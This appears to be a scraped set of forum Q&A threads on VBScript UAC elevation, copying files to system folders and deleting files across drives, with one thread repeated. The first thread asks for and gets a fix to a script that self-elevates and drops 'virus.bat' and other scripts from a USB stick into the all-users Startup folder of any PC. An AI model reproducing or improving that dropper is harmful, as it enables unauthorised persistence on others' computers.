I have this vbs script:
Set WshShell = WScript.CreateObject("WScript.Shell")
Set ObjShell = CreateObject("Shell.Application")
ObjShell.ShellExecute "wscript.exe", """" & _
WScript.ScriptFullName & """" &_
" RunAsAdministrator", , "runas", 1
Const Destination = "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
Const Virus = "virus.bat"
Const YesNo = "yesnovbs.vbs"
Const CDRom = "cd-rom.vbs"
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile Virus, Destination, True
fso.CopyFile YesNo, Destination, True
fso.CopyFile CDRom, Destination, True
Basically, it copies some files from my USB to startup directory in any pc. The problem is, that the script keeps executing itself. I wanted this script to copy files and exit, how do I do that?
You need to do the restart just once, depending on a condition (e.g. a parameter). Demo:
If 0 = WScript.Arguments.Count Then
WScript.Echo "first run, starting script again"
CreateObject("WScript.Shell").Exec "wscript.exe " & WScript.ScriptName & " param"
Else
MsgBox "second run"
End If
output:
Function runas()
Set WshShell = WScript.CreateObject("WScript.Shell")
Set ObjShell = CreateObject("Shell.Application")
If WScript.Arguments.Length = 0 Then
ObjShell.ShellExecute "wscript.exe", """" & _
WScript.ScriptFullName & """" &_
" RunAsAdministrator", , "runas", 1
WScript.Quit
End If
End Function
Call runas()
Const Destination = "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
Const Virus = "virus.bat"
Const YesNo = "yesnovbs.vbs"
Const CDRom = "cd-rom.vbs"
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile Virus, Destination, True
fso.CopyFile YesNo, Destination, True
fso.CopyFile CDRom, Destination, True
Set WshShell = Nothing
Set objShell = Nothing
Set fso = Nothing
If you did not add the wscript.Arguments.length = 0 condition statement it will keep continue work
Related
I need to copy my file "manufacturer.bmp", wich is located in the same directory as the script (in my flash drive), to the system32 directory.
I succeed, in getting the variables sourcefile, destinationdirectory, and to elevate my script, but when I elevate it, my sourcefile variable is lost, because of the use of CurrentDirectory, which differs in this mode.
Set shell = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
CurrentDirectory = fso.GetAbsolutePathName(".")
sourcefile = fso.buildpath(CurrentDirectory, "manufacturer.bmp")
MsgBox(sourcefile)
'Checks if the script is running elevated (UAC)
Function isElevated
Set shell = CreateObject("WScript.Shell")
Set whoami = shell.Exec("whoami /groups")
Set whoamiOutput = whoami.StdOut
strWhoamiOutput = whoamiOutput.ReadAll
If InStr(1, strWhoamiOutput, "S-1-16-12288", vbTextCompare) Then
isElevated = True
Else
isElevated = False
End If
End Function
'Re-runs the process prompting for priv elevation on re-run
Sub uacPrompt
'Check if we need to run in C or W script
interpreter = "wscript.exe"
If InStr(1, WScript.FullName, "CScript", vbTextCompare) = 0 Then
interpreter = "wscript.exe"
Else
interpreter = "cscript.exe"
End If
'Start a new instance with an elevation prompt first
Set shellApp = CreateObject("Shell.Application")
shellApp.ShellExecute interpreter, Chr(34) & WScript.ScriptFullName & _
Chr(34) & " uac", "", "runas", 1
'End the non-elevated instance
WScript.Quit
End Sub
'Make sure we are running elevated, prompt if not
If Not isElevated Then uacPrompt
destinationdir = fso.buildpath(shell.ExpandEnvironmentStrings("%windir%"), _
"system32")
MsgBox(destinationdir)
fso.CopyFile sourcefile, destinationdir
Any idea of how to push my sourcefile var to the child elevated script?
The ShellExecute method allows you to specify the working directory as the 3rd argument, so you can pass the current directory to the elevated script and build the sourcefile path after elevation. Also, your code could be streamlined quite a bit.
Const HKLM = &h80000002
Const DELETE = &h10000
Set sh = CreateObject("WScript.Shell")
Set reg = GetObject("winmgmts://./root/default:StdRegProv")
reg.CheckAccess HKLM, "SYSTEM\CurrentControlSet", DELETE, isAdmin
If Not isAdmin Then
If WScript.Arguments.Count = 0 Then
CreateObject("Shell.Application").ShellExecute WScript.FullName, _
Chr(34) & WScript.ScriptFullName & Chr(34) & " uac", _
sh.CurrentDirectory, "runas", 1
WScript.Quit 0
Else
WScript.Echo "Privilege elevation failed!"
WScript.Quit 1
End If
End If
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.CurrentDirectory, "manufacturer.bmp")
dst = fso.buildpath(sh.ExpandEnvironmentStrings("%windir%"), "system32")
fso.CopyFile src, dst & "\"
Edit: or at least that's how it would work if you weren't elevating the process. According to this blog post from Raymond Chen the start directory is ignored when elevating processes, so that malicious DLLs from the current directory aren't loaded into elevated processes by mistake. Meaning that you must pass the working directory "manually", like this:
Const HKLM = &h80000002
Const DELETE = &h10000
Set sh = CreateObject("WScript.Shell")
Set reg = GetObject("winmgmts://./root/default:StdRegProv")
reg.CheckAccess HKLM, "SYSTEM\CurrentControlSet", DELETE, isAdmin
If Not isAdmin Then
If WScript.Arguments.Count = 0 Then
CreateObject("Shell.Application").ShellExecute WScript.FullName, _
Chr(34) & WScript.ScriptFullName & Chr(34) & " " & _
Chr(34) & sh.CurrentDirectory & Chr(34), , "runas", 1
WScript.Quit 0
Else
WScript.Echo "Privilege elevation failed!"
WScript.Quit 1
End If
End If
sh.CurrentDirectory = WScript.Arguments(0)
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.CurrentDirectory, "manufacturer.bmp")
dst = fso.buildpath(sh.ExpandEnvironmentStrings("%windir%"), "system32")
fso.CopyFile src, dst & "\"
Note that since your destination path is a folder, it must have a trailing backslash (as documented).
I'm trying to compile all my many VBS files into one, but I can't figure out how to do it.
Set sapi = CreateObject("SAPI.SPvoice")
Set wshShell = WScript.CreateObject("WScript.Shell")
Set ChosenVBS = InputBox("Enter your message", "Choose What to run.")
Set WshShell = CreateObject("WScript.Shell")
Sub Speak
Dim ProgramPath, WshShell, ProgramArgs, WaitOnReturn, intWindowStyle
ProgramPath = "D:\Spam\Speak.vbs"
ProgramArgs = ""
intWindowStyle = 1
WaitOnReturn = True
WshShell.Run Chr(34) & ProgramPath & Chr(34) & Space(1) & ProgramArgs, _
intWindowStyle, WaitOnReturn
End Sub
Call ChosenVBS
How I'm trying to do it currently, the Set are for all the codes I'm going to put in.
I need to copy my file "manufacturer.bmp", wich is located in the same directory as the script (in my flash drive), to the system32 directory.
I succeed, in getting the variables sourcefile, destinationdirectory, and to elevate my script, but when I elevate it, my sourcefile variable is lost, because of the use of CurrentDirectory, which differs in this mode.
Set shell = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
CurrentDirectory = fso.GetAbsolutePathName(".")
sourcefile = fso.buildpath(CurrentDirectory, "manufacturer.bmp")
MsgBox(sourcefile)
'Checks if the script is running elevated (UAC)
Function isElevated
Set shell = CreateObject("WScript.Shell")
Set whoami = shell.Exec("whoami /groups")
Set whoamiOutput = whoami.StdOut
strWhoamiOutput = whoamiOutput.ReadAll
If InStr(1, strWhoamiOutput, "S-1-16-12288", vbTextCompare) Then
isElevated = True
Else
isElevated = False
End If
End Function
'Re-runs the process prompting for priv elevation on re-run
Sub uacPrompt
'Check if we need to run in C or W script
interpreter = "wscript.exe"
If InStr(1, WScript.FullName, "CScript", vbTextCompare) = 0 Then
interpreter = "wscript.exe"
Else
interpreter = "cscript.exe"
End If
'Start a new instance with an elevation prompt first
Set shellApp = CreateObject("Shell.Application")
shellApp.ShellExecute interpreter, Chr(34) & WScript.ScriptFullName & _
Chr(34) & " uac", "", "runas", 1
'End the non-elevated instance
WScript.Quit
End Sub
'Make sure we are running elevated, prompt if not
If Not isElevated Then uacPrompt
destinationdir = fso.buildpath(shell.ExpandEnvironmentStrings("%windir%"), _
"system32")
MsgBox(destinationdir)
fso.CopyFile sourcefile, destinationdir
Any idea of how to push my sourcefile var to the child elevated script?
The ShellExecute method allows you to specify the working directory as the 3rd argument, so you can pass the current directory to the elevated script and build the sourcefile path after elevation. Also, your code could be streamlined quite a bit.
Const HKLM = &h80000002
Const DELETE = &h10000
Set sh = CreateObject("WScript.Shell")
Set reg = GetObject("winmgmts://./root/default:StdRegProv")
reg.CheckAccess HKLM, "SYSTEM\CurrentControlSet", DELETE, isAdmin
If Not isAdmin Then
If WScript.Arguments.Count = 0 Then
CreateObject("Shell.Application").ShellExecute WScript.FullName, _
Chr(34) & WScript.ScriptFullName & Chr(34) & " uac", _
sh.CurrentDirectory, "runas", 1
WScript.Quit 0
Else
WScript.Echo "Privilege elevation failed!"
WScript.Quit 1
End If
End If
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.CurrentDirectory, "manufacturer.bmp")
dst = fso.buildpath(sh.ExpandEnvironmentStrings("%windir%"), "system32")
fso.CopyFile src, dst & "\"
Edit: or at least that's how it would work if you weren't elevating the process. According to this blog post from Raymond Chen the start directory is ignored when elevating processes, so that malicious DLLs from the current directory aren't loaded into elevated processes by mistake. Meaning that you must pass the working directory "manually", like this:
Const HKLM = &h80000002
Const DELETE = &h10000
Set sh = CreateObject("WScript.Shell")
Set reg = GetObject("winmgmts://./root/default:StdRegProv")
reg.CheckAccess HKLM, "SYSTEM\CurrentControlSet", DELETE, isAdmin
If Not isAdmin Then
If WScript.Arguments.Count = 0 Then
CreateObject("Shell.Application").ShellExecute WScript.FullName, _
Chr(34) & WScript.ScriptFullName & Chr(34) & " " & _
Chr(34) & sh.CurrentDirectory & Chr(34), , "runas", 1
WScript.Quit 0
Else
WScript.Echo "Privilege elevation failed!"
WScript.Quit 1
End If
End If
sh.CurrentDirectory = WScript.Arguments(0)
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.CurrentDirectory, "manufacturer.bmp")
dst = fso.buildpath(sh.ExpandEnvironmentStrings("%windir%"), "system32")
fso.CopyFile src, dst & "\"
Note that since your destination path is a folder, it must have a trailing backslash (as documented).
I am trying to find a specific file on computer and delete it.
This is my code:
Const DeleteReadOnly = True
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oWshShell = CreateObject("WScript.Shell")
sDir = oWshShell.ExpandEnvironmentStrings("%temp%\dir.txt")
sFileName = "\date.vbs"
If oFSO.FileExists(sDir) Then oFSO.DeleteFile(sDir)
For Each oDrive In oFSO.Drives
if oDrive.DriveType = 2 Then Search oDrive.DriveLetter
Next
Set oFile = oFSO.OpenTextFile(sDir, 1)
aNames = Split(oFile.ReadAll, VbCrLf)
oFile.Close
For Each sName In aNames
If InStr(1, sName, sFileName, 1) > 0 Then WScript.Echo sName
Next
dim filesys
Set filesys = CreateObject("Scripting.FileSystemObject")
filesys.CreateTextFile "\date.vbs", True
If filesys.FileExists("\date.vbs") Then
filesys.DeleteFile "\date.vbs"
Wscript.Echo("File deleted")
End If
Sub Search(sDrive)
WScript.Echo "Scanning drive " & sDrive & ":"
oWshShell.Run "cmd /c dir /s /b " & sDrive & ":\" & sName & " >>" & sDir, 0, True
End Sub
The code is working only partially. When the file "date.vbs" is in root folder (C:\date.vbs) then it is deleted but when it is in folder (C:\backup\date.vbs) then it will not be deleted. Do you know which code changes I should make to be able to delete file even when it is not in root but anywhere in computer?
Thank you! V.
UPDATE:
The code is pretty much working right now. I just have a final problem of deleting the file. I am able to change the attributes from Read-only to normal but still i get the error of access denied.
This is my code:
Const DeleteReadOnly = True
Dim oFSO, oDrive, sFileName, ws, WshS, fso, usrProfile, oFolder, skypefolder
Set oFSO = CreateObject("Scripting.FileSystemObject")
sFileName = "Skype.exe"
Set WshS = WScript.CreateObject("WScript.Shell")
usrProfile = WshS.ExpandEnvironmentStrings("%UserProfile%")
skypefolder = "C:\Program Files (x86)\Skype\"
For Each oDrive In oFSO.Drives
If oDrive.DriveType = 2 Then Recurse oFSO.GetFolder(skypefolder)
Next
Sub Recurse(oFolder)
Set oFile = CreateObject("Scripting.FileSystemObject")
Dim oSubFolder, oFile
If IsAccessible(oFolder) Then
For Each oSubFolder In oFolder.SubFolders
Recurse oSubFolder
Next
WScript.Echo oFolder.Path
For Each oFile In oFolder.Files
If oFile.Name = sFileName And oFile.Attributes And 1 Then
oFile.Attributes = 0
oFile.Delete True
End If
Next
End If
End Sub
Function IsAccessible(oFolder)
On Error Resume Next
IsAccessible = oFolder.SubFolders.Count >= 0
End Function
Thank you for help!
Code I use to run the script as ADMIN. After this it started to show the MessageBoxes. Before it was running in a console.
If WScript.Arguments.Named.Exists("elevated") = False Then
CreateObject("Shell.Application").ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """ /elevated", "", "runas", 1
WScript.Quit
Else
Set oShell = CreateObject("WScript.Shell")
oShell.CurrentDirectory = CreateObject("Scripting.FileSystemObject").GetParentFolderName(WScript.ScriptFullName)
'WScript.Echo("Now running with elevated permissions")
End If
So I believe there is something wrong in this code.
Your approach is much too complicated. Use a simple recursive function:
Option Explicit
Const DeleteReadOnly = True
Dim oFSO, oDrive, sFileName
Set oFSO = CreateObject("Scripting.FileSystemObject")
sFileName = "date.vbs"
For Each oDrive In oFSO.Drives
If oDrive.DriveType = 2 Then Recurse oDrive.RootFolder
Next
Sub Recurse(oFolder)
Dim oSubFolder, oFile
If IsAccessible(oFolder) Then
For Each oSubFolder In oFolder.SubFolders
Recurse oSubFolder
Next
For Each oFile In oFolder.Files
If oFile.Name = sFileName Then
'oFile.Delete ' or whatever
End If
Next
End If
End Sub
Function IsAccessible(oFolder)
On Error Resume Next
IsAccessible = oFolder.SubFolders.Count >= 0
End Function
To achieve case-insensitive file name comparison, you could use
If StrComp(oFile.Name, sFileName, vbTextCompare) = 0 Then
As an exercise: You can also use the WMI Service to find certain files. You don't have to go through all folders, you just query the file on any drive, on any folder:
Function find_file(filename)
Dim objWMIService, colItems, objItem, strComputer
strComputer = "."
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("SELECT * FROM CIM_DataFile WHERE FileName='" & filename & "'",,48)
For Each objItem in colItems
msgbox "Found " & objItem.Name & " in " objItem.Path
Next
End Function
Note: It can take long before the function has returned its results.
It crashes on wshShell.Run.
You can see that I run a WScript.Echo and it does print the location of the file name. When I run it, it says the "The system could not find the file specified"
I tried objFile.delete but it says Permission denied. If i perform "del " in the command prompt, it works.
For Each objFile In colFiles
bMatch = objRE.Test(objFile.Name)
If bMatch Then
WScript.Echo objFile.Name
WScript.Echo objFile.Path
Set wshShell = WScript.CreateObject ("WSCript.shell")
wshShell.Run "del " & objFile.Path, 1, True
Set wshShell = Nothing
End If
Next
Output
Lotus Notes 8.5.lnk
C:\Users\Public\Desktop\Lotus Notes 8.5.lnk
(null) (79, 3) : (null)
------------------ UPDATE ------------------
The following works perfectly if it's on the Users Desktop (not the AllUsersDesktop). I'm trying to delete it from the AllUsersDesktop
For Each objFile In colFiles
bMatch = objRE.Test(objFile.Name)
If bMatch Then
objFile.Delete
End If
Next
After applying the following code, I get this error
Lotus Notes 8.5.lnk
C:\Users\Public\Desktop\Lotus Notes 8.5.lnk
(null) (81, 3) : (null)
Code: (updated as of 5/23)
Set objShell = CreateObject("WScript.Shell")
strCurrentDirectory = objShell.SpecialFolders("AllUsersDesktop")
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(strCurrentDirectory)
Set objFolderItem = objFolder.Self
Set objFolder = objFS.GetFolder(strCurrentDirectory)
Set colFiles = objFolder.Files
Set objRE = New RegExp
objRE.Global = True
objRE.IgnoreCase = True
objRE.Pattern = "notes"
For Each objFile In colFiles
bMatch = objRE.Test(objFile.Name)
If bMatch Then
WScript.Echo objFile.Name
WScript.Echo objFile.Path
Set wshShell = WScript.CreateObject ("WSCript.shell")
wshShell.Run "del """ & objFile.Path & """", 1, True
Set wshShell = Nothing
End If
Next
This should do it:
wshShell.Run "del """ & objFile.Path & """", 1, True
The path has a space in it, so it should be enclosed in double quotes, something like "del \"" & objFile.Path & "\"", or whatever VB syntax for escaping is.